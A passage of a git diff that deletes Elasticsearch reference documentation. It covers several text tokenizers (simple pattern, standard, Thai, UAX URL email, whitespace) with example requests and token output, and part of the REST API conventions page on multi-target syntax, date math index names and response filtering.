-[source,text]
----------------------------
-[ value, value with embedded \" quote ]
----------------------------
diff --git a/docs/reference/analysis/tokenizers/simplepattern-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/simplepattern-tokenizer.asciidoc
deleted file mode 100644
index 3e3de000275..00000000000
--- a/docs/reference/analysis/tokenizers/simplepattern-tokenizer.asciidoc
+++ /dev/null
@@ -1,104 +0,0 @@
-[[analysis-simplepattern-tokenizer]]
-=== Simple pattern tokenizer
-++++
-<titleabbrev>Simple pattern</titleabbrev>
-++++
-
-The `simple_pattern` tokenizer uses a regular expression to capture matching
-text as terms. The set of regular expression features it supports is more
-limited than the <<analysis-pattern-tokenizer,`pattern`>> tokenizer, but the
-tokenization is generally faster.
-
-This tokenizer does not support splitting the input on a pattern match, unlike
-the <<analysis-pattern-tokenizer,`pattern`>> tokenizer. To split on pattern
-matches using the same restricted regular expression subset, see the
-<<analysis-simplepatternsplit-tokenizer,`simple_pattern_split`>> tokenizer.
-
-This tokenizer uses {lucene-core-javadoc}/org/apache/lucene/util/automaton/RegExp.html[Lucene regular expressions].
-For an explanation of the supported features and syntax, see <<regexp-syntax,Regular Expression Syntax>>.
-
-The default pattern is the empty string, which produces no terms. This
-tokenizer should always be configured with a non-default pattern.
-
-[discrete]
-=== Configuration
-
-The `simple_pattern` tokenizer accepts the following parameters:
-
-[horizontal]
-`pattern`::
-    {lucene-core-javadoc}/org/apache/lucene/util/automaton/RegExp.html[Lucene regular expression], defaults to the empty string.
-
-[discrete]
-=== Example configuration
-
-This example configures the `simple_pattern` tokenizer to produce terms that are
-three-digit numbers
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
-          "type": "simple_pattern",
-          "pattern": "[0123456789]{3}"
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "fd-786-335-514-x"
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens" : [
-    {
-      "token" : "786",
-      "start_offset" : 3,
-      "end_offset" : 6,
-      "type" : "word",
-      "position" : 0
-    },
-    {
-      "token" : "335",
-      "start_offset" : 7,
-      "end_offset" : 10,
-      "type" : "word",
-      "position" : 1
-    },
-    {
-      "token" : "514",
-      "start_offset" : 11,
-      "end_offset" : 14,
-      "type" : "word",
-      "position" : 2
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-The above example produces these terms:
-
-[source,text]
----------------------------
-[ 786, 335, 514 ]
----------------------------
diff --git a/docs/reference/analysis/tokenizers/simplepatternsplit-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/simplepatternsplit-tokenizer.asciidoc
deleted file mode 100644
index 0bf82fa3960..00000000000
--- a/docs/reference/analysis/tokenizers/simplepatternsplit-tokenizer.asciidoc
+++ /dev/null
@@ -1,105 +0,0 @@
-[[analysis-simplepatternsplit-tokenizer]]
-=== Simple pattern split tokenizer
-++++
-<titleabbrev>Simple pattern split</titleabbrev>
-++++
-
-The `simple_pattern_split` tokenizer uses a regular expression to split the
-input into terms at pattern matches. The set of regular expression features it
-supports is more limited than the <<analysis-pattern-tokenizer,`pattern`>>
-tokenizer, but the tokenization is generally faster.
-
-This tokenizer does not produce terms from the matches themselves. To produce
-terms from matches using patterns in the same restricted regular expression
-subset, see the <<analysis-simplepattern-tokenizer,`simple_pattern`>>
-tokenizer.
-
-This tokenizer uses {lucene-core-javadoc}/org/apache/lucene/util/automaton/RegExp.html[Lucene regular expressions].
-For an explanation of the supported features and syntax, see <<regexp-syntax,Regular Expression Syntax>>.
-
-The default pattern is the empty string, which produces one term containing the
-full input. This tokenizer should always be configured with a non-default
-pattern.
-
-[discrete]
-=== Configuration
-
-The `simple_pattern_split` tokenizer accepts the following parameters:
-
-[horizontal]
-`pattern`::
-    A {lucene-core-javadoc}/org/apache/lucene/util/automaton/RegExp.html[Lucene regular expression], defaults to the empty string.
-
-[discrete]
-=== Example configuration
-
-This example configures the `simple_pattern_split` tokenizer to split the input
-text on underscores.
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
-          "type": "simple_pattern_split",
-          "pattern": "_"
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "an_underscored_phrase"
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens" : [
-    {
-      "token" : "an",
-      "start_offset" : 0,
-      "end_offset" : 2,
-      "type" : "word",
-      "position" : 0
-    },
-    {
-      "token" : "underscored",
-      "start_offset" : 3,
-      "end_offset" : 14,
-      "type" : "word",
-      "position" : 1
-    },
-    {
-      "token" : "phrase",
-      "start_offset" : 15,
-      "end_offset" : 21,
-      "type" : "word",
-      "position" : 2
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-The above example produces these terms:
-
-[source,text]
----------------------------
-[ an, underscored, phrase ]
----------------------------
diff --git a/docs/reference/analysis/tokenizers/standard-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/standard-tokenizer.asciidoc
deleted file mode 100644
index 2ea16ea5f6a..00000000000
--- a/docs/reference/analysis/tokenizers/standard-tokenizer.asciidoc
+++ /dev/null
@@ -1,268 +0,0 @@
-[[analysis-standard-tokenizer]]
-=== Standard tokenizer
-++++
-<titleabbrev>Standard</titleabbrev>
-++++
-
-The `standard` tokenizer provides grammar based tokenization (based on the
-Unicode Text Segmentation algorithm, as specified in
-https://unicode.org/reports/tr29/[Unicode Standard Annex #29]) and works well
-for most languages.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "standard",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "2",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "<NUM>",
-      "position": 1
-    },
-    {
-      "token": "QUICK",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "Brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "Foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "<ALPHANUM>",
-      "position": 4
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "<ALPHANUM>",
-      "position": 5
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "<ALPHANUM>",
-      "position": 6
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "<ALPHANUM>",
-      "position": 7
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "<ALPHANUM>",
-      "position": 8
-    },
-    {
-      "token": "dog's",
-      "start_offset": 45,
-      "end_offset": 50,
-      "type": "<ALPHANUM>",
-      "position": 9
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "<ALPHANUM>",
-      "position": 10
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ The, 2, QUICK, Brown, Foxes, jumped, over, the, lazy, dog's, bone ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `standard` tokenizer accepts the following parameters:
-
-[horizontal]
-`max_token_length`::
-
-    The maximum token length. If a token is seen that exceeds this length then
-    it is split at `max_token_length` intervals. Defaults to `255`.
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `standard` tokenizer to have a
-`max_token_length` of 5 (for demonstration purposes):
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
-          "type": "standard",
-          "max_token_length": 5
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "2",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "<NUM>",
-      "position": 1
-    },
-    {
-      "token": "QUICK",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "Brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "Foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "<ALPHANUM>",
-      "position": 4
-    },
-    {
-      "token": "jumpe",
-      "start_offset": 24,
-      "end_offset": 29,
-      "type": "<ALPHANUM>",
-      "position": 5
-    },
-    {
-      "token": "d",
-      "start_offset": 29,
-      "end_offset": 30,
-      "type": "<ALPHANUM>",
-      "position": 6
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "<ALPHANUM>",
-      "position": 7
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "<ALPHANUM>",
-      "position": 8
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "<ALPHANUM>",
-      "position": 9
-    },
-    {
-      "token": "dog's",
-      "start_offset": 45,
-      "end_offset": 50,
-      "type": "<ALPHANUM>",
-      "position": 10
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "<ALPHANUM>",
-      "position": 11
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ The, 2, QUICK, Brown, Foxes, jumpe, d, over, the, lazy, dog's, bone ]
----------------------------
diff --git a/docs/reference/analysis/tokenizers/thai-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/thai-tokenizer.asciidoc
deleted file mode 100644
index f1cc77c5b08..00000000000
--- a/docs/reference/analysis/tokenizers/thai-tokenizer.asciidoc
+++ /dev/null
@@ -1,107 +0,0 @@
-[[analysis-thai-tokenizer]]
-=== Thai tokenizer
-++++
-<titleabbrev>Thai</titleabbrev>
-++++
-
-The `thai` tokenizer segments Thai text into words, using the Thai
-segmentation algorithm included with Java. Text in other languages in general
-will be treated the same as the
-<<analysis-standard-tokenizer,`standard` tokenizer>>.
-
-WARNING: This tokenizer may not be supported by all JREs. It is known to work
-with Sun/Oracle and OpenJDK. If your application needs to be fully portable,
-consider using the {plugins}/analysis-icu-tokenizer.html[ICU Tokenizer] instead.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "thai",
-  "text": "การที่ได้ต้องแสดงว่างานดี"
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "การ",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "ที่",
-      "start_offset": 3,
-      "end_offset": 6,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "ได้",
-      "start_offset": 6,
-      "end_offset": 9,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "ต้อง",
-      "start_offset": 9,
-      "end_offset": 13,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "แสดง",
-      "start_offset": 13,
-      "end_offset": 17,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "ว่า",
-      "start_offset": 17,
-      "end_offset": 20,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "งาน",
-      "start_offset": 20,
-      "end_offset": 23,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "ดี",
-      "start_offset": 23,
-      "end_offset": 25,
-      "type": "word",
-      "position": 7
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ การ, ที่, ได้, ต้อง, แสดง, ว่า, งาน, ดี ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `thai` tokenizer is not configurable.
diff --git a/docs/reference/analysis/tokenizers/uaxurlemail-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/uaxurlemail-tokenizer.asciidoc
deleted file mode 100644
index 4ec3a035c54..00000000000
--- a/docs/reference/analysis/tokenizers/uaxurlemail-tokenizer.asciidoc
+++ /dev/null
@@ -1,196 +0,0 @@
-[[analysis-uaxurlemail-tokenizer]]
-=== UAX URL email tokenizer
-++++
-<titleabbrev>UAX URL email</titleabbrev>
-++++
-
-The `uax_url_email` tokenizer is like the <<analysis-standard-tokenizer,`standard` tokenizer>> except that it
-recognises URLs and email addresses as single tokens.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "uax_url_email",
-  "text": "Email me at john.smith@global-international.com"
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "Email",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "me",
-      "start_offset": 6,
-      "end_offset": 8,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "at",
-      "start_offset": 9,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "john.smith@global-international.com",
-      "start_offset": 12,
-      "end_offset": 47,
-      "type": "<EMAIL>",
-      "position": 3
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ Email, me, at, john.smith@global-international.com ]
----------------------------
-
-while the `standard` tokenizer would produce:
-
-[source,text]
----------------------------
-[ Email, me, at, john.smith, global, international.com ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `uax_url_email` tokenizer accepts the following parameters:
-
-[horizontal]
-`max_token_length`::
-
-    The maximum token length. If a token is seen that exceeds this length then
-    it is split at `max_token_length` intervals. Defaults to `255`.
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `uax_url_email` tokenizer to have a
-`max_token_length` of 5 (for demonstration purposes):
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "my_tokenizer"
-        }
-      },
-      "tokenizer": {
-        "my_tokenizer": {
-          "type": "uax_url_email",
-          "max_token_length": 5
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "john.smith@global-international.com"
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "john",
-      "start_offset": 0,
-      "end_offset": 4,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "smith",
-      "start_offset": 5,
-      "end_offset": 10,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "globa",
-      "start_offset": 11,
-      "end_offset": 16,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "l",
-      "start_offset": 16,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "inter",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "<ALPHANUM>",
-      "position": 4
-    },
-    {
-      "token": "natio",
-      "start_offset": 23,
-      "end_offset": 28,
-      "type": "<ALPHANUM>",
-      "position": 5
-    },
-    {
-      "token": "nal.c",
-      "start_offset": 28,
-      "end_offset": 33,
-      "type": "<ALPHANUM>",
-      "position": 6
-    },
-    {
-      "token": "om",
-      "start_offset": 33,
-      "end_offset": 35,
-      "type": "<ALPHANUM>",
-      "position": 7
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ john, smith, globa, l, inter, natio, nal.c, om ]
----------------------------
diff --git a/docs/reference/analysis/tokenizers/whitespace-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/whitespace-tokenizer.asciidoc
deleted file mode 100644
index 525c4bda4fa..00000000000
--- a/docs/reference/analysis/tokenizers/whitespace-tokenizer.asciidoc
+++ /dev/null
@@ -1,121 +0,0 @@
-[[analysis-whitespace-tokenizer]]
-=== Whitespace tokenizer
-++++
-<titleabbrev>Whitespace</titleabbrev>
-++++
-
-The `whitespace` tokenizer breaks text into terms whenever it encounters a
-whitespace character.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "tokenizer": "whitespace",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "2",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "QUICK",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "Brown-Foxes",
-      "start_offset": 12,
-      "end_offset": 23,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "dog's",
-      "start_offset": 45,
-      "end_offset": 50,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "bone.",
-      "start_offset": 51,
-      "end_offset": 56,
-      "type": "word",
-      "position": 9
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ The, 2, QUICK, Brown-Foxes, jumped, over, the, lazy, dog's, bone. ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `whitespace` tokenizer accepts the following parameters:
-
-[horizontal]
-`max_token_length`::
-
-    The maximum token length. If a token is seen that exceeds this length then
-    it is split at `max_token_length` intervals. Defaults to `255`.
diff --git a/docs/reference/api-conventions.asciidoc b/docs/reference/api-conventions.asciidoc
deleted file mode 100644
index a0e52f86566..00000000000
--- a/docs/reference/api-conventions.asciidoc
+++ /dev/null
@@ -1,709 +0,0 @@
-[[api-conventions]]
-== API conventions
-
-The *Elasticsearch* REST APIs are exposed using <<modules-http,JSON over HTTP>>.
-
-The conventions listed in this chapter can be applied throughout the REST
-API, unless otherwise specified.
-
-* <<multi-index>>
-* <<date-math-index-names>>
-* <<cron-expressions>>
-* <<common-options>>
-* <<url-access-control>>
-
-[[multi-index]]
-=== Multi-target syntax
-
-Most APIs that accept a `<data-stream>`, `<index>`, or `<target>` request path
-parameter also support _multi-target syntax_.
-
-In multi-target syntax, you can use a comma-separated list to run a request on
-multiple resources, such as data streams, indices, or index aliases:
-`test1,test2,test3`. You can also use {wikipedia}/Glob_(programming)[glob-like]
-wildcard (`*`) expressions to target resources that match a pattern: `test*` or
-`*test` or `te*t` or `*test*`.
-
-You can exclude targets using the `-` character: `test*,-test3`.
-
-IMPORTANT: Index aliases are resolved after wildcard expressions. This can
-result in a request that targets an excluded alias. For example, if `test3` is
-an index alias, the pattern `test*,-test3` still targets the indices for
-`test3`. To avoid this, exclude the concrete indices for the alias instead.
-
-Multi-target APIs that can target indices support the following query
-string parameters:
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-
-The defaults settings for the above parameters depend on the API being used.
-
-Some multi-target APIs that can target indices also support the following query
-string parameter:
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=ignore_throttled]
-
-NOTE: Single index APIs, such as the <<docs>> and
-<<indices-aliases,single-index `alias` APIs>>, do not support multi-target
-syntax.
-
-[[hidden-indices]]
-==== Hidden indices
-
-Indices that are configured to be hidden with the <<index-hidden,index.hidden>> setting are 
-excluded from mult-target queries by default. 
-To include hidden indices, you must specify the `expand_wildcards` parameter.
-
-The backing indices for data streams are hidden indices, 
-and some features like {ml} store information in hidden indices. 
-
-Global index templates that match all indices are not applied to hidden indices.
-
-[[system-indices]]
-==== System indices
-
-{es} modules and plugins can store configuration and state information in internal _system indices_. 
-You should not directly access or modify system indices 
-as they contain data essential to the operation of the system.
-
-IMPORTANT: Direct access to system indices is deprecated and 
-will no longer be allowed in the next major version.
-
-[[date-math-index-names]]
-=== Date math support in index names
-
-Date math index name resolution enables you to search a range of time series indices, rather
-than searching all of your time series indices and filtering the results or maintaining aliases.
-Limiting the number of indices that are searched reduces the load on the cluster and improves
-execution performance. For example, if you are searching for errors in your
-daily logs, you can use a date math name template to restrict the search to the past
-two days.
-
-Almost all APIs that have an `index` parameter support date math in the `index` parameter
-value.
-
-A date math index name takes the following form:
-
-[source,txt]
-----------------------------------------------------------------------
-<static_name{date_math_expr{date_format|time_zone}}>
-----------------------------------------------------------------------
-
-Where:
-
-[horizontal]
-`static_name`:: is the static text part of the name
-`date_math_expr`:: is a dynamic date math expression that computes the date dynamically
-`date_format`:: is the optional format in which the computed date should be rendered. Defaults to `yyyy.MM.dd`. Format should be compatible with java-time https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html
-`time_zone`:: is the optional time zone. Defaults to `utc`.
-
-NOTE: Pay attention to the usage of small vs capital letters used in the `date_format`. For example:
-`mm` denotes minute of hour, while `MM` denotes month of year. Similarly `hh` denotes the hour in the
-`1-12` range in combination with `AM/PM`, while `HH` denotes the hour in the `0-23` 24-hour range.
-
-Date math expressions are resolved locale-independent. Consequently, it is not possible to use any other
-calendars than the Gregorian calendar.
-
-You must enclose date math index name expressions within angle brackets, and
-all special characters should be URI encoded. For example:
-
-[source,console]
-----
-# PUT /<my-index-{now/d}>
-PUT /%3Cmy-index-%7Bnow%2Fd%7D%3E
-----
-
-[NOTE]
-.Percent encoding of date math characters
-======================================================
-The special characters used for date rounding must be URI encoded as follows:
-
-[horizontal]
-`<`:: `%3C`
-`>`:: `%3E`
-`/`:: `%2F`
-`{`:: `%7B`
-`}`:: `%7D`
-`|`:: `%7C`
-`+`:: `%2B`
-`:`:: `%3A`
-`,`:: `%2C`
-======================================================
-
-The following example shows different forms of date math index names and the final index names
-they resolve to given the current time is 22nd March 2024 noon utc.
-
-[options="header"]
-|======
-| Expression                                |Resolves to
-| `<logstash-{now/d}>`                      | `logstash-2024.03.22`
-| `<logstash-{now/M}>`                      | `logstash-2024.03.01`
-| `<logstash-{now/M{yyyy.MM}}>`             | `logstash-2024.03`
-| `<logstash-{now/M-1M{yyyy.MM}}>`          | `logstash-2024.02`
-| `<logstash-{now/d{yyyy.MM.dd\|+12:00}}>`  | `logstash-2024.03.23`
-|======
-
-To use the characters `{` and `}` in the static part of an index name template, escape them
-with a backslash `\`, for example:
-
- * `<elastic\\{ON\\}-{now/M}>` resolves to `elastic{ON}-2024.03.01`
-
-The following example shows a search request that searches the Logstash indices for the past
-three days, assuming the indices use the default Logstash index name format,
-`logstash-yyyy.MM.dd`.
-
-[source,console]
-----------------------------------------------------------------------
-# GET /<logstash-{now/d-2d}>,<logstash-{now/d-1d}>,<logstash-{now/d}>/_search
-GET /%3Clogstash-%7Bnow%2Fd-2d%7D%3E%2C%3Clogstash-%7Bnow%2Fd-1d%7D%3E%2C%3Clogstash-%7Bnow%2Fd%7D%3E/_search
-{
-  "query" : {
-    "match": {
-      "test": "data"
-    }
-  }
-}
-----------------------------------------------------------------------
-// TEST[s/^/PUT logstash-2016.09.20\nPUT logstash-2016.09.19\nPUT logstash-2016.09.18\n/]
-// TEST[s/now/2016.09.20%7C%7C/]
-
-include::rest-api/cron-expressions.asciidoc[]
-
-[[common-options]]
-=== Common options
-
-The following options can be applied to all of the REST APIs.
-
-[discrete]
-==== Pretty Results
-
-When appending `?pretty=true` to any request made, the JSON returned
-will be pretty formatted (use it for debugging only!). Another option is
-to set `?format=yaml` which will cause the result to be returned in the
-(sometimes) more readable yaml format.
-
-
-[discrete]
-==== Human readable output
-
-Statistics are returned in a format suitable for humans
-(e.g. `"exists_time": "1h"` or `"size": "1kb"`) and for computers
-(e.g. `"exists_time_in_millis": 3600000` or `"size_in_bytes": 1024`).
-The human readable values can be turned off by adding `?human=false`
-to the query string. This makes sense when the stats results are
-being consumed by a monitoring tool, rather than intended for human
-consumption.  The default for the `human` flag is
-`false`.
-
-[[date-math]]
-[discrete]
-==== Date Math
-
-Most parameters which accept a formatted date value -- such as `gt` and `lt`
-in <<query-dsl-range-query,`range` queries>>, or `from` and `to`
-in <<search-aggregations-bucket-daterange-aggregation,`daterange`
-aggregations>> -- understand date maths.
-
-The expression starts with an anchor date, which can either be `now`, or a
-date string ending with `||`. This anchor date can optionally be followed by
-one or more maths expressions:
-
-* `+1h`: Add one hour
-* `-1d`: Subtract one day
-* `/d`: Round down to the nearest day
-
-The supported time units differ from those supported by <<time-units, time units>> for durations.
-The supported units are:
-
-[horizontal]
-`y`:: Years
-`M`:: Months
-`w`:: Weeks
-`d`:: Days
-`h`:: Hours
-`H`:: Hours
-`m`:: Minutes
-`s`:: Seconds
-
-Assuming `now` is `2001-01-01 12:00:00`, some examples are:
-
-[horizontal]
-`now+1h`:: `now` in milliseconds plus one hour. Resolves to: `2001-01-01 13:00:00`
-`now-1h`:: `now` in milliseconds minus one hour. Resolves to: `2001-01-01 11:00:00`
-`now-1h/d`:: `now` in milliseconds minus one hour, rounded down to UTC 00:00. Resolves to: `2001-01-01 00:00:00`
- `2001.02.01\|\|+1M/d`:: `2001-02-01` in milliseconds plus one month. Resolves to: `2001-03-01 00:00:00`
-
-[discrete]
-[[common-options-response-filtering]]
-==== Response Filtering
-
-All REST APIs accept a `filter_path` parameter that can be used to reduce
-the response returned by Elasticsearch. This parameter takes a comma
-separated list of filters expressed with the dot notation:
-
-[source,console]
---------------------------------------------------
-GET /_search?q=kimchy&filter_path=took,hits.hits._id,hits.hits._score
---------------------------------------------------
-// TEST[setup:my_index]
-
-Responds:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took" : 3,
-  "hits" : {
-    "hits" : [
-      {
-        "_id" : "0",
-        "_score" : 1.6375021
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took" : 3/"took" : $body.took/]
-// TESTRESPONSE[s/1.6375021/$body.hits.hits.0._score/]
-
-It also supports the `*` wildcard character to match any field or part
-of a field's name:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/state?filter_path=metadata.indices.*.stat*
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n/]
-
-Responds:
-
-[source,console-result]
---------------------------------------------------
-{
-  "metadata" : {
-    "indices" : {
-      "my-index-000001": {"state": "open"}
-    }
-  }
-}
---------------------------------------------------
-
-And the `**` wildcard can be used to include fields without knowing the
-exact path of the field. For example, we can return the Lucene version
-of every segment with this request:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/state?filter_path=routing_table.indices.**.state
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n/]
-
-Responds:
-
-[source,console-result]
---------------------------------------------------
-{
-  "routing_table": {
-    "indices": {
-      "my-index-000001": {
-        "shards": {
-          "0": [{"state": "STARTED"}, {"state": "UNASSIGNED"}]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-It is also possible to exclude one or more fields by prefixing the filter with the char `-`:
-
-[source,console]
---------------------------------------------------
-GET /_count?filter_path=-_shards
---------------------------------------------------
-// TEST[setup:my_index]
-
-Responds:
-
-[source,console-result]
---------------------------------------------------
-{
-  "count" : 5
-}
---------------------------------------------------
-
-And for more control, both inclusive and exclusive filters can be combined in the same expression. In
-this case, the exclusive filters will be applied first and the result will be filtered again using the
-inclusive filters:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/state?filter_path=metadata.indices.*.state,-metadata.indices.logstash-*
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\nPUT my-index-000003\nPUT logstash-2016.01\n/]
-
-Responds:
-
-[source,console-result]
---------------------------------------------------
-{
-  "metadata" : {
-    "indices" : {
-      "my-index-000001" : {"state" : "open"},
-      "my-index-000002" : {"state" : "open"},
-      "my-index-000003" : {"state" : "open"}
-    }
-  }
-}
---------------------------------------------------
-
-Note that Elasticsearch sometimes returns directly the raw value of a field,
-like the `_source` field. If you want to filter `_source` fields, you should
-consider combining the already existing `_source` parameter (see
-<<get-source-filtering,Get API>> for more details) with the `filter_path`
-parameter like this:
-
-[source,console]
---------------------------------------------------
